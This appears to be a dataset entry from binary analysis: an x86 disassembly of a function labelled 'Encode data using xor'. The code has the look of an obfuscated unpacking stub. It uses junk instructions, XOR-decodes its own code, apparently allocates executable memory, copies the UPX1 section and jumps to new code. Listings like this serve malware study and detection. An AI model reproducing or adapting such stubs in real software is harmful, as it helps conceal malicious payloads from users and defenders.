Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x43539e7f
dec edi
add edi, 0x1be77b9f
popal
dec edi
inc edi
mov edx, 0
mov ecx, edi
add esi, eax
not eax
mov ebx, ecx
or esi, esi
sub eax, 1
mov edi, ebx
dec esi
inc eax
inc edx
mov esi, 0x3ec18ddf
sub esi, 0x89f45644
cmp edx, 0x1004795
jne 0x47afcd
mov eax, 0x439113ca
dec eax
not esi
cmp edx, 0x1004795
je 0x47b010
mov edx, 0
mov ebx, dword [edx]
mov esi, 0x3e83a5f
and esi, eax
add eax, 0x78ffb111
add edx, edx
sub edx, edi
and edx, edi
mov ecx, 0x47ada2
not esi
add esi, eax
mov ebx, 0x47af96
not esi
sub eax, 0x369adc75
mov edx, dword [ecx]
sub edi, eax
add edi, 0xb097f886
add esi, 0xac6dd45f
and edx, 0xff
not eax
or edi, esi
xor dword [ebx], edx
sub esi, 0xf4c5a6cb
and edi, edi
add esi, esi
inc ebx
or eax, edi
add esi, eax
sub eax, 0x96e00711
inc ecx
inc eax
not edi
and eax, edi
cmp ebx, entry0
jl 0x47b039
mov eax, esi
mov eax, edi
mov eax, 0x7ac74dac
mov esi, 0x187eff40
add eax, 1
inc ecx
sub esi, edi
add edx, esi
mov ebx, 0x47af9a
sub edi, esi
or esi, edx
mov esi, 0xd746946a
mov ebx, dword [ebx]
mov esi, edi
mov ecx, 0x35c4c96a
mov ebx, dword [ebx]
mov edx, ecx
and ecx, edi
push ebx
mov ecx, edi
mov esi, ecx
mov ebx, 0x47af96
mov ecx, 0x388635a0
mov edi, edx
mov ebx, dword [ebx]
not edx
add edi, ecx
mov ebx, dword [ebx]
add edx, 0x179a612c
or edi, ecx
sub esp, 4
mov dword [esp], 0x47af9e
add esi, 0xf27d4cd5
inc edx
call ebx
add edx, 0xa21e0bc9
inc ecx
mov ecx, edi
pop ebx
add esi, 0x9ec75c1
not esi
push 0x47afab
add edi, esi
sub edi, 0xcce56346
push eax
inc esi
mov ecx, 0x5b09105d
call ebx
not ecx
add esi, edx
not edi
push 0x40
not edx
not edi
mov edx, 0x7df289b3
push 0x3000
sub edi, ecx
and edx, edi
sub esp, 4
mov dword [esp], 0x2000068e
not ecx
sub edi, esi
add edx, edx
push 0
inc edi
and esi, ecx
add edx, 0xe4d89abc
call eax
sub ecx, 0xfab5e3b3
mov ecx, 0x41fcfdc6
add eax, 0x20000629
mov esi, 0xa4800d6c
and ecx, esi
not edi
mov ebx, 0x9bd8a99
mov ecx, edx
inc esi
sub edx, ecx
mov dword [eax], ebx
or edi, edi
and ecx, edi
add edx, 0x8f6fbdbf
mov ebx, dword [eax]
and ecx, edx
add edx, ecx
add ecx, esi
cmp ebx, 0x9bd8a99
je 0x47b192
mov edx, 0
mov byte [edx], al
sub esi, 0xf8f94521
dec edi
or ecx, edi
mov esi, ecx
add edi, 0xe74ca9d2
mov edx, 0x31d479ce
not edx
mov ecx, section.UPX1
sub edi, edx
or edi, edx
mov eax, 0x47ada1
add edi, edx
sub edi, edx
add edx, 0x3288485d
mov ebx, 0
and edx, edi
add edx, 1
mov esi, 0x47ada2
add edi, 1
sub edi, edx
add edi, edi
lea esi, [esi + ebx]
sub edi, 0x28e1dd89
inc edi
not edx
mov esi, dword [esi]
mov edi, 0xd2a1a312
inc edi
inc edi
and esi, 0xff
add edx, 0x86f224ab
sub edx, 0xb66b0580
inc ebx
mov edx, edi
sub edx, 0x4dcc7a9f
not edi
cmp ebx, 0x1f4
jne 0x47b21d
mov ebx, 0
sub edx, edi
add edx, 0x2faaad54
not edx
sub edi, edx
dec edi
xor dword [ecx], esi
inc edx
mov edx, 0xfe59823b
add ecx, 2
dec edx
sub edx, 1
or edi, edx
cmp ecx, eax
jl 0x47b1cf
add edi, 1
mov edx, 0x8b4d1006
mov edx, edi
dec edx
dec edi
mov edx, section.UPX1
add esi, esi
mov edi, esi
mov ebx, section.UPX1
and edi, edi
or esi, edi
sub esi, 0x3acb2b4f
mov ecx, 0x47ada1
inc edi
mov esi, 0xd0a4d1e6
dec edi
mov eax, 0
inc esi
inc esi
add esi, esi
mov al, byte [ebx]
sub esi, 0x7671b5a6
sub edi, 0xeba90469
mov edi, 0x42591121
mov byte [edx], al
add esi, 0x89db3599
sub esi, 0x976c4dd0
or esi, edi
inc edx
not edi
or edi, esi
add ebx, 2
mov esi, 0xdb2f0232
or esi, edi
sub esi, 1
cmp ebx, ecx
jle 0x47b285
sub edi, 1
not esi
sub edx, 0x30d6a75d
mov edx, 0xb445199e
sub edx, 0x65d199c0
push 0x45e6a0
sub edi, 0xb92c4a1f
or edx, edi
ret